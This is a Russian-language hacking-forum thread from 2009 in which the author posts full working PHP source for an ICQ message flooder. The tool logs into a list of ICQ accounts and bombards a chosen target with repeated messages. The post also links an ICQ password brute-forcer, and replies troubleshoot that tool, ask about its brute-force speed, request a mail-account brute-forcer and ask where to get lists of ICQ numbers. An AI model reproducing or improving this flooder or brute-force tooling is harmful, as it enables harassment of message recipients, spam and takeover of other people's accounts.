ICQ Flooder by Zedi

Discussion in 'PHP' started by Zedi, 22 Feb 2009.

  1. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Привет всем!!
    Вчера от нечего делать написал флудер, даже не думал он будет такой мощный, все зависит от кол-ва асек
    Механизм работы:
    скрипт сначала заходит на все аськи из списка а потом резко начинает флудить

    высказывайте свои предложения по скрипту, это только его первая версия, так что все впереди))

    вот собственно сам скрипт (написан с юмором)

    flooder.php
    PHP:
    <?php
    set_time_limit
    (0);
    ignore_user_abort(1);
    echo 
    '<html> <head><title>Артиллерийское депо (ICQ Flooder)</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link        {color: #9a9a9a; text-decoration: none;} a:active        {color: #9a9a9a; text-decoration: none;} a:visited        {color: #9a9a9a; text-decoration: none;} a:hover        {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
    require_once (
    "icqlib.php");
    if (isset(
    $_POST['submit']))
    {
        foreach (
    $_POST as $post_date_key => $post_date)
        {
            if (empty(
    $post_date))
            {
                die(
    "Вы не заполнили поля");
            }
        }
        
    $num $_POST['uin'];
        
    $mn $_POST['mn'];
        
    $message $_POST['message'];

        
    $source "flooder.txt";

        
    $file_s file($source);
        
    $count count($file_s);
        
    $i 1;
        
    $connected = array();
        echo 
    "Заряжаем пушки<br>";
        
    flush();
        foreach (
    $file_s as $str)
        {
            list(
    $uin$password) = explode(";"$str);
            
    $uin trim($uin);
            
    $password trim($password);
            
    $debug false;
            
    $icq{$i} = new ICQclient($uin$password);
            
    $icq{$i}->connect();
            if (
    $icq{$i}->connected)
            {
                
    $icq{$i}->login();
                if (
    $icq{$i}->logged)
                {
                    
    $put array_push($connected$i);
                }
            }
            
    $i++;
        }
        echo 
    "Пушки заряжены<br>Начинаем атаку<br>";
        
    flush();
        foreach (
    $connected as $z)
        {
            for (
    $n 0$n $mn$n++)
            {
                
    $icq{$z}->send_message($num$message);
            }
            echo 
    "Пушка №" $z " успешно выстрелила<br>";
            
            
    flush();
        }

        foreach (
    $connected as $z)
        {
            
    $icq{$z}->disconnect();

        }
    } else
    {
        echo 
    "<form method='POST' name='submit'><table border=0>
    <tr><td width='150'>ICQ</td><td><input type='text' name='uin' size='20'></td></tr>
    <tr><td width='150'>Кол-во сообщений с одного номера</td><td><input name='mn' type='text' value='1' size='20'></td></tr>
    <tr><td width='150'>Сообщение</td><td><textarea rows='3' cols='17' name='message'></textarea></td></tr>
    <tr><td width='150'>Начать флуд</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
    </table></form>"
    ;
    }
    echo 
    "Разработка:Zedi v.0.1</body></html><noscript>";

    ?>
    icqlib.php
    PHP:
    <?
    class 
    ICQclient
    {
        var 
    $socket$server$port$connected;
        var 
    $uin$password$logged;
        var 
    $client = array(), $sequence$TLV = array();
        var 
    $uin_sendto$message;

        function 
    ICQclient($uin$password)
        {
            
    $this->server "login.icq.com";
            
    $this->port 5190;
            
    $this->uin = (string )$uin;
            
    $this->password $password;
            
    $this->client = array("name" => "icqlib.php""country" => "ru""language" =>
                
    "ru""major" => 1"minor" => 0"lesser" => 0"build" => 1);
        }

        function 
    connect()
        {
            
    $this->socket = @fsockopen($this->server$this->port);
            if (!
    $this->socket)
                return 
    false;
            else
            {
                
    $this->connected true;
                return 
    true;
            }
        }

        function 
    connect_migration()
        {
            list(
    $server$port) = explode(":"$this->TLV[0x05]);
            
    $this->socket = @fsockopen($server$port);
        }

        function 
    login()
        {
            if (!
    $this->connected)
                
    $this->connect();
            if (!
    $this->connected)
                return 
    false;
            
    $this->receive_packet();
            
    $this->sequence rand(0x00000xFFFF);
            
    $this->send_packet("login");
            
    $SNAC $this->receive_packet();
            
    $this->parse_SNAC($SNAC);
            if (!(@
    $this->TLV[0x05] and @$this->TLV[0x06]))
                return 
    false;
            
    $this->connect_migration();
            
    $this->send_packet("cookie");
            
    $this->receive_packet();
            
    $this->send_packet("ready");
            
    $this->receive_packet();
            
    $this->logged true;
            return 
    true;
        }

        function 
    send_message($uin$message)
        {
            if (!
    $this->logged)
                return 
    false;
            
    $this->uin_sendto $uin;
            
    $this->message $message;
            
    $this->send_packet("message");
            
    $this->receive_packet();
            return 
    true;
        }

        function 
    getstatus($uin)
        {
            if (!
    $this->logged)
                return 
    false;
            
    $this->uin_sendto $uin;
            
    $this->send_packet("userinfo");
            
    $SNAC $this->receive_packet();
            list(, 
    $subfamily) = unpack("C"$SNAC[3]);
            if (
    $subfamily == 6)
            {
                list(, 
    $uin_length) = unpack("C"$SNAC[10]);
                
    $this->parse_SNAC(substr($SNAC15 $uin_length));
                if (
    $this->TLV[6])
                    list(, 
    $status_code) = unpack("C"$this->TLV[6][3]);
                else
                    
    $status_code 0xFF;
                switch (
    $status_code)
                {
                    case 
    0x00:
                        
    $status "online";
                        break;
                    case 
    0x01:
                        
    $status "away";
                        break;
                    case 
    0x02:
                        
    $status "dnd";
                        break;
                    case 
    0x03:
                        
    $status "dnd";
                        break;
                    case 
    0x04:
                        
    $status "na";
                        break;
                    case 
    0x05:
                        
    $status "na";
                        break;
                    case 
    0x10:
                        
    $status "occupied";
                        break;
                    case 
    0x11:
                        
    $status "occupied";
                        break;
                    case 
    0x13:
                        
    $status "dnd";
                        break;
                    case 
    0x20:
                        
    $status "free4chat";
                        break;
                    default:
                        
    $status "undefined";
                        break;
                }
            } else
                
    $status "offline";
            return 
    $status;
        }

        function 
    disconnect()
        {
            
    $this->connected $this->logged false;
            return @
    fclose($this->socket);
        }

        function 
    log_packet($packet$type "packet")
        {
            global 
    $debug_log;
            
    $debug_log .= "<p>$type:<br>";
            for (
    $i 0$i strlen($packet); $i++)
            {
                if (
    strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
                    
    $debug_log .= "0";
                
    $debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
            }
            
    $debug_log .= "</p>";
        }

        function 
    send_packet($type)
        {
            global 
    $debug;
            list(
    $channel$SNAC) = $this->gen_SNAC($type);
            
    $FLAP pack("CCnn"0x2A$channel$this->sequencestrlen($SNAC));
            
    $packet $FLAP $SNAC;
            if (
    $debug)
                
    $this->log_packet($packet"send");
            @
    fwrite($this->socket$packet);
            
    $this->sequence++;
            if (
    $this->sequence == 0xFFFF)
                
    $this->sequence 0x0000;
        }

        function 
    receive_packet()
        {
            global 
    $debug;
            
    $FLAP = @fread($this->socket6);
            list(, 
    $length) = @unpack("n"substr($FLAP42));
            
    $SNAC = @fread($this->socket$length);
            
    $packet $FLAP $SNAC;
            if (
    $debug)
                
    $this->log_packet($packet"receive");
            return 
    $SNAC;
        }

        function 
    gen_SNAC($type)
        {
            if (
    $type == "login")
            {
                
    $SNAC pack("N"1) . $this->gen_TLV(0x01$this->uin) . $this->gen_TLV(0x02,
                    
    xor_encrypt($this->password)) . $this->gen_TLV(0x03$this->client["name"]) . $this->
                    
    gen_TLV(0x162662) . $this->gen_TLV(0x17$this->client["major"], 2) . $this->
                    
    gen_TLV(0x18$this->client["minor"], 2) . $this->gen_TLV(0x19$this->client["lesser"],
                    
    2) . $this->gen_TLV(0x1A$this->client["build"], 2) . $this->gen_TLV(0x1485,
                    
    4) . $this->gen_TLV(0x0F$this->client["language"]) . $this->gen_TLV(0x0E$this->
                    
    client["country"]);
                
    $channel 1;
            }
            if (
    $type == "cookie")
            {
                
    $SNAC pack("N"1) . $this->gen_TLV(0x06$this->TLV[0x06]);
                
    $channel 1;
            }
            if (
    $type == "ready")
            { 
    // SNAC(01,02) - CLI_READY
                
    $SNAC "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" .
                    
    "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" .
                    
    "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
                
    $channel 2;
            }
            if (
    $type == "message")
            { 
    // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
                
    $this->TLV[0x0501] = pack("C"1);
                
    $this->TLV[0x0101] = pack("N"0) . $this->message;
                
    $this->TLV[0x02] = $this->gen_TLV(0x0501$this->TLV[0x0501]) . $this->gen_TLV(0x0101,
                    
    $this->TLV[0x0101]);
                
    $SNAC pack("nnnNdnca*"0x040x0600microtime(), 1strlen($this->
                    
    uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02$this->TLV[0x02]) . $this->
                    
    gen_TLV(0x06"");
                
    $channel 2;
            }
            if (
    $type == "userinfo")
            { 
    // SNAC(02,05) - CLI_LOCATION_INFO_REQ
                
    $SNAC pack("nnnNnca*"0x020x05001strlen($this->uin_sendto), $this->
                    
    uin_sendto);
                
    $channel 2;
            }
            return array(
    $channel$SNAC);
        }

        function 
    parse_SNAC($SNAC)
        {
            unset(
    $this->TLV);
            while (
    strlen($SNAC) > 0)
            {
                list(, 
    $type$length) = unpack("n2"substr($SNAC04));
                
    $this->TLV[$type] = substr($SNAC4$length);
                
    $SNAC substr($SNAC$length);
            }
        }

        function 
    gen_TLV($type$value$length false)
        {
            switch (
    $length)
            {
                case 
    1:
                    
    $format "C";
                    break; 
    // unsigned char (8 bit)
                
    case 2:
                    
    $format "n";
                    break; 
    // unsigned short (16 bit, big endian byte order)
                
    case 4:
                    
    $format "N";
                    break; 
    // unsigned long (32 bit, big endian byte order)
                
    default:
                    
    $format "a*";
                    break; 
    // NUL-padded string
            
    }
            if (
    $length === false)
                
    $length strlen($value);
            return 
    pack("nn" $format$type$length$value);
        }
    }

    function 
    xor_encrypt($password)
    {
        
    $roast "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
        
    $xored "";
        for (
    $i 0$i strlen($password); $i++)
            
    $xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
        return 
    $xored;
    }

    function 
    put($data$file)
    {
        global 
    $go;
        
    $f fopen($file"a") or die("File " $file " doesn't exist");
        
    fwrite($f$data);
        
    fclose($f);
        
    $go++;
    }
    ?>
    и создайте файл flooder.txt с аськами


    ну или всее сразу можно скачать отсюда _http://slil.ru/26973485

    P.S. все зависит от количества асек, все ошибки которые заметите пишите здесь или в ПМ

    P.P.S вот _http://slil.ru/26984265 еще брут от меня, м.б. кому пригодится
     
    #1 Zedi, 22 Feb 2009
    Last edited: 22 Feb 2009
    1 person likes this.
  2. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    добавил брут, отписывайтесь насчет работы скриптов, предложений, буду благодарен
     
    2 people like this.
  3. syava

    syava Member

    Joined:
    4 Feb 2009
    Messages:
    16
    Likes Received:
    7
    Reputations:
    0
    неделя поделок с icqlib
     
  4. $ED$

    $ED$ Active Member

    Joined:
    2 Dec 2008
    Messages:
    0
    Likes Received:
    106
    Reputations:
    0
    Warning: fopen(stop.txt) [function.fopen]: failed to open stream: Permission denied in /home/**********/domains/*************/public_html/brute/icqlib.php on line 270

    Warning: fwrite(): supplied argument is not a valid stream resource in /home/**********/domains/************/public_html/brute/icqlib.php on line 271

    Warning: fclose(): supplied argument is not a valid stream resource in /home/*******/domains/*************/public_html/brute/icqlib.php on line 272
    Брут запущен

    Warning: fopen(bad.txt) [function.fopen]: failed to open stream: Permission denied in /home/***********/domains/*****************/public_html/brute/icqlib.php on line 263
    File bad.txt doesn't exist


    ???
     
  5. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Создай файлы bad.txt good.txt stop.txt source.txt и поставь на них права 666
     
  6. $ED$

    $ED$ Active Member

    Joined:
    2 Dec 2008
    Messages:
    0
    Likes Received:
    106
    Reputations:
    0
    Все это было =\
     
    3 people like this.
  7. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Zedi http://forum.antichat.ru/thread107524.html
     
    _________________________
  8. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Понимаю, тогда чего не было? Скажите что бы полезное написать? Для всех
     
  9. Invision

    Invision New Member

    Joined:
    24 Aug 2008
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    Где хороший список номеров ICQ взять?
     
  10. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    взломщика интернетов не было
     
  11. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Чак, это новые супер хак тулзы придуманные тобой? Ты жжешь. я по нормальному спросил
     
  12. destory

    destory Member

    Joined:
    11 Dec 2008
    Messages:
    49
    Likes Received:
    7
    Reputations:
    0
    а как сделать чтобы он отправлял на базу ну типо создать txt файл и чтобы скрипт по тем асям спамил которые там ? сделайте плизз такой я в этом нешарю совсем ..
     
  13. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    Zedi,дельное предложение:Парсер больших тем античата(пример:вопросы новичков по пхп),и сохранение их на сервер(дабы потом все слить и читать оффлайн в метро).Свой вариант у меня есть,но пока не доделан.Желательно из каждой страницы удалять лишний код(все мета-теги итд).Думаю,многие оценят...
     
    1 person likes this.
  14. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    фатало, большое спасибо за предложение, завтра приступимс
     
    1 person likes this.
  15. .[SD].

    .[SD]. New Member

    Joined:
    25 Jan 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    на счет твоего брута 0.2, если сгенерить большой сорс то страница брута - тупо пустая.. в чем может быть проблема? пробовал ставить меньший диапазон, все норм..
     
  16. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    ога, я уже знаю, это если стоит ограничение по памяти, скоро выложу версию на mysql, там все норм будет, ща времени просто мало((
     
    1 person likes this.
  17. BuG_4F

    BuG_4F Member

    Joined:
    20 May 2008
    Messages:
    88
    Likes Received:
    67
    Reputations:
    5
    Сколько брут выжимает pps ? Больше двух хотяб ?
    Если сможеш, напиши брут рамблеровских мыл :)
     
  18. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    больше двух влегкую выжимает, можешь посмотреть в теме ICQ брут, там Адреналин апгрейдил мой брут, совмещал с RICQ, писал что у него даже около 4-5PPS, просто пока времени нет вообще)) насчет брута мыл поищи на форуме 100% есть
     
  19. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Zedi напиши бота!
     
  20. SCH666

    SCH666 Member

    Joined:
    18 Jan 2009
    Messages:
    11
    Likes Received:
    5
    Reputations:
    0
    кул)))))))))))))))) спасибо)))))))))))))))) всё норм пашет)))))))))))))))